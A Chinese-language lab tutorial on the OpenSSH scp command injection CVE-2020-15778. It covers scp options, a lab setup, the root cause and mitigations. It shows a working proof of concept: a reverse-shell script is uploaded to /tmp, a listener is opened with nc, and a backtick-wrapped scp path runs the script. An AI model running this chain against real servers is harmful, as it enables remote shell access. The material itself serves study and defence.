預(yù)備知識(shí)
漏洞描述
OpenSSH8.3p1及之前版本中scp的scp.c文件存在操作系統(tǒng)命令注入漏洞。該漏洞即使在禁用ssh登錄的情況下,但是允許使用scp傳文件,而且遠(yuǎn)程服務(wù)器允許使用反引號(hào)(`)。攻擊者可利用scp復(fù)制文件到遠(yuǎn)程服務(wù)器時(shí),執(zhí)行帶有payload的scp命令,從而在后續(xù)利用中g(shù)etshell。
OpenSSH簡(jiǎn)介
OpenSSH是 SSH(Secure SHell) 協(xié)議的免費(fèi)開源實(shí)現(xiàn)。SSH協(xié)議族可以用來(lái)進(jìn)行遠(yuǎn)程控制,或在計(jì)算機(jī)之間傳送文件。而實(shí)現(xiàn)此功能的傳統(tǒng)方式,如telnet(終端仿真協(xié)議)、rcpftp、rlogin、rsh都是極為不安全的,并且會(huì)使用明文傳送密碼。OpenSSH提供了服務(wù)端后臺(tái)程序和客戶端工具,用來(lái)加密遠(yuǎn)程控制和文件傳輸過程中的數(shù)據(jù),并由此來(lái)代替原來(lái)的類似服務(wù)。
scp命令簡(jiǎn)介
scp 是安全拷貝協(xié)議(Secure Copy Protocol)的縮寫,和眾多Linux/Unix 使用者所熟知的拷貝(cp)命令一樣。scp的使用方式類似于cp 命令,cp命令將一個(gè)文件或文件夾從本地操作系統(tǒng)的一個(gè)位置(源)拷貝到目標(biāo)位置(目的),而scp用來(lái)將文件或文件夾從網(wǎng)絡(luò)上的一個(gè)主機(jī)拷貝到另一個(gè)主機(jī)當(dāng)中去。
scp一些基本參數(shù)如下:
-B?采取批量模式(避免詢問密碼或口令)
-C?啟用壓縮,通過指明-C參數(shù)來(lái)開啟壓縮模式。
-c?加密方式,選擇在傳輸過程中用來(lái)加密的加密方式 這個(gè)選項(xiàng)會(huì)被直接傳遞到ssh。
-F?ssh配置,給ssh指定一個(gè)用來(lái)替代默認(rèn)配置的配置文件。這個(gè)選項(xiàng)會(huì)被直接傳遞到ssh。
-l?限速,限制命令使用的帶寬,默認(rèn)單位是 Kbit/s。
-P?端口,指定需要的連接的遠(yuǎn)程主機(jī)的端口。
注意,這個(gè)選項(xiàng)使用的是一個(gè)大寫的“P”,因?yàn)樾懙摹?p”已經(jīng)用來(lái)保留目標(biāo)文件的時(shí)間和模式相關(guān)信息。(ssh命令中使用小寫的“-p”來(lái)指定目標(biāo)端口。)
-p?保留文件原來(lái)的修改時(shí)間,訪問時(shí)間以及權(quán)限模式。
-q?靜默模式:不顯示來(lái)自ssh命令的進(jìn)度信息,警告和診斷信息。
-r?遞歸拷貝整個(gè)目錄。
注意,scp 命令在樹形遍歷的時(shí)候同樣會(huì)跟隨符號(hào)連接,復(fù)制所連接的文件。
-v?詳細(xì)模式。scp和ssh將會(huì)打印出處理過程中的調(diào)試信息。這可以幫助你調(diào)試連接、認(rèn)證和配置方面的問題。
實(shí)驗(yàn)?zāi)康?/strong>
scp是secure copy的縮寫。在linux系統(tǒng)中,scp用于linux之間復(fù)制文件和目錄,基于ssh登陸進(jìn)行安全的遠(yuǎn)程文件拷貝命令。該命令由openssh的scp.c及其他相關(guān)代碼實(shí)現(xiàn),通過這次實(shí)驗(yàn)?zāi)銓⒘私獾酵ㄟ^scp進(jìn)行反彈shell的操作。
實(shí)驗(yàn)環(huán)境
目標(biāo)機(jī)器:CentOS、IP:10.1.1.200
攻擊機(jī)器:Kali
實(shí)驗(yàn)步驟一
確定目標(biāo)機(jī)器是否存在漏洞,測(cè)試ssh與scp的使用情況。
1、目標(biāo)機(jī)器查看ssh版本,是否在OpenSSH 8.3p1及之前
在OpenSSH8.3p1及之前說(shuō)明存在操作系統(tǒng)命令注入漏洞。
2、攻擊機(jī)器測(cè)試ssh與scp的使用情況:
1.txt中為測(cè)試內(nèi)容,這里顯示可以使用:
ssh密碼:pA2sw0rb
實(shí)驗(yàn)步驟二
使用scp進(jìn)行反彈shell的操作
首先在攻擊機(jī)上創(chuàng)建一個(gè)linux的可執(zhí)行的文件,并寫入一個(gè)反彈shell的命令?? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
使用scp命令,把該文件上傳到目標(biāo)機(jī)器的/tmp下,在tmp錄下任何用戶都是擁有讀、寫、執(zhí)行的權(quán)限
scp RAI.sh root@10.1.1.200:/tmp/RAI.sh
在kali上開啟監(jiān)聽
nc -vv -lvvp 5555
使用poc遠(yuǎn)程執(zhí)行命令
scp zm.sh root@目標(biāo)地址:'`sh /tmp/zm.sh`'
可以看到我們的shell已經(jīng)彈回來(lái)了
實(shí)驗(yàn)步驟三
簡(jiǎn)述漏洞原理
使用scp復(fù)制文件到遠(yuǎn)程服務(wù)器時(shí),在scp命令后面跟上文件的路徑,具體格式如下:
scp Filename user@host:directory/Filename
在上述過程中,scp會(huì)使用”-t“參數(shù)來(lái)獲取存儲(chǔ)傳入文件的路徑,如下:
scp -t directory/Filename
問題就存在這個(gè)地方,也就是如圖"scp.c"文件的991行。這個(gè)地方未對(duì)傳入的文件路徑進(jìn)行檢測(cè)防護(hù),攻擊者可以使用反引號(hào)包裹payload然后加上文件名執(zhí)行scp命令,這時(shí)payload將會(huì)發(fā)送到遠(yuǎn)程服務(wù)器并執(zhí)行。
修復(fù)方案
目前廠商暫未發(fā)布修復(fù)措施解決此安全問題,等待官方補(bǔ)丁?https://www.openssh.com/
臨時(shí)修復(fù)方案:
1、 加強(qiáng)ssh密碼或密鑰的保護(hù),周期性更換密碼或密鑰
2、 使用rsync代替scp
具體實(shí)踐:
?
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-490993.html
?文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-490993.html
到了這里,關(guān)于CVE-2020-15778 OpenSSH命令注入漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!